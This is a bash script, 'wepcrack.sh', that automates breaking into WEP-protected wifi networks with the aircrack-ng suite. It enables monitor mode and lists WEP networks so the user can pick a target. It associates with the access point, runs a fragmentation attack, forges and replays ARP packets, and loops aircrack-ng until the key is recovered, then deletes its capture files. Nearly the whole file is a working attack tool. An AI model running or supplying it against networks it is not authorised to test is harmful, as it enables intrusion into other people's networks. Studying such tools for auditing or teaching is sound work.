#!/bin/bash
# wepcrack.sh
#
# This tool requires aircrack-ng tools to be installed and run as root
#
# ChangeLog....
VERSION="1.0"
# Version 1.0 - First Release
#################################################################
# CHECKING FOR ROOT
#################################################################
if [ `echo -n $USER` != "root" ]
then
echo "MESSAGE:"
echo "MESSAGE: ERROR: Please run as root!"
echo "MESSAGE:"
exit 1
fi
#################################################################
# CHECKING TO SEE IF INTERFACE IS PROVIDED
#################################################################
if [ -z ${1} ]
then
echo "MESSAGE: Version number ${VERSION}"
echo "MESSAGE: Usage: `basename ${0}` [interface] [BSSID] [channel]"
echo "MESSAGE: Example #`basename ${0}` wlan0 (everything else is optional)"
exit 1
else
INTERFACE="`echo "${1}" | cut -c 1-6`"
echo "MESSAGE: Putting ${INTERFACE} in monitor mode"
fi
#################################################################
# PUT WIFI IN MONITOR MODE
#################################################################
airmon-ng start ${INTERFACE}
iwconfig ${INTERFACE} # mon0
#################################################################
# GET INTERFACE MAC ADDRESS
#################################################################
MACADDRESS=`ifconfig ${INTERFACE} | grep ${INTERFACE} | tr -s ' ' | cut -d ' ' -f5 | cut -c 1-17`
#################################################################
# CHECK IF BSSID,CHANNEL & TARGETNAME WERE PROVIDED
#################################################################
if [ -z ${2} ] || [ -z ${3} ] ; then
#################################################################
# SHOW VISIBLE WEP NETWORKS
#################################################################
echo "MESSAGE: Will now display all visible WEP networks"
echo "MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit"
read -p "MESSAGE: Press enter to view networks"
airodump-ng --encrypt WEP ${INTERFACE} # mon0
#################################################################
# USER INPUT DETAILS FROM AIRODUMP
#################################################################
while true
do
echo -n "MESSAGE: Please enter the target BSSID here: "
read -e BSSID
echo -n "MESSAGE: Please enter the target channel here: "
read -e CHANNEL
echo "MESSAGE: Target BSSID : ${BSSID}"
echo "MESSAGE: Target Channel : ${CHANNEL}"
echo "MESSAGE: Interface MAC Address : ${MACADDRESS}"
echo -n "MESSAGE: Is this information correct? (y or n): "
read -e CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes)
break ;;
*) echo "MESSAGE: Please re-enter information"
esac
done
fi
#################################################################
# START AIRODUMP IN XTERM WINDOW
#################################################################
echo "MESSAGE: Starting packet capture - Ctrl-c to end it"
xterm -e "airodump-ng -c ${CHANNEL} --bssid ${BSSID} --ivs -w capture ${INTERFACE}" & AIRODUMPPID=$!
sleep 2
#################################################################
# ASSOCIATE WITH AP & THEN PERFORM FRAGMENTATION ATTACK
#################################################################
aireplay-ng -1 0 -a ${BSSID} -h ${MACADDRESS} ${INTERFACE}
aireplay-ng -5 -b ${BSSID} -h ${MACADDRESS} ${INTERFACE}
packetforge-ng -0 -a ${BSSID} -h ${MACADDRESS} -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-packet ${INTERFACE}
xterm -e "aireplay-ng -2 -r arp-packet ${INTERFACE}" & AIREPLAYPID=$!
#################################################################
# ATTEMPTING TO CRACK
#################################################################
while true
do
aircrack-ng -n 128 -b ${BSSID} *.ivs
echo -n "MESSAGE: Did you get the key?: (y or no)"
read -e CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes)
break ;;
*) echo "MESSAGE: Will attempt to crack again" & sleep 3
esac
done
#################################################################
# DELETE FILES CREATED DURING WEP CRACKING
#################################################################
kill ${AIRODUMPPID}
kill ${AIREPLAYPID}
airmon-ng stop ${INTERFACE}
rm *.ivs *.cap *.xor
exit 0